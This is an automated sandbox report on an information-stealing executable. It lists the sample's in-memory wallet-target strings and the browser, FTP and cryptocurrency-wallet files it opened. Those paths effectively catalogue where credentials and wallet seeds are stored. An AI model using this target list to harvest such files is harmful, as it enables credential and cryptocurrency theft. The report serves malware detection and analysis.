Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json6j
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
